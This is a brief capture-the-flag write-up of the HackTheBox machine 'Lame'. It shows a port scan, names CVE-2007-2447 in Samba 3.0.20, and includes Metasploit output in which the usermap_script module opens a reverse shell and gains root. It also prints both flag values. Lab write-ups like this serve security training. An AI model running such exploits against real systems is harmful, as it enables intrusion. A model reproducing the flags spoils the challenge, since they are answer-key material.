Mark Seliternikov

HackTheBox - Lame

This machine mainly involved using know exploits, What I did first is map the open ports and determine the services running on the machine and these made me suspicious right away:

```
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.3.4
```

```
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
```

First I was excited that I found a known exploit for the FTP service, but It was probably patched so it did not work. However, for the Samba service I found this exploit:
https://www.exploit-db.com/exploits/16320
Apparently there's a Metasploit module that can exploit this version of Samba easily, more detail about the CVE:
https://nvd.nist.gov/vuln/detail/CVE-2007-2447
So what I did next was use that module and get a privileged shell:

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.7:5555
[*] Command shell session 8 opened (10.10.14.7:5555 ->

id
uid=0(root) gid=0(root)
```

And here are the flags.
User flag:

```
cat /home/makis/user.txt
4925cb038819f860357a1cfcfd449e81
```

Root flag:

```
cat /root/root.txt
6df14ac0dd94971303af34a8c99d31d0
```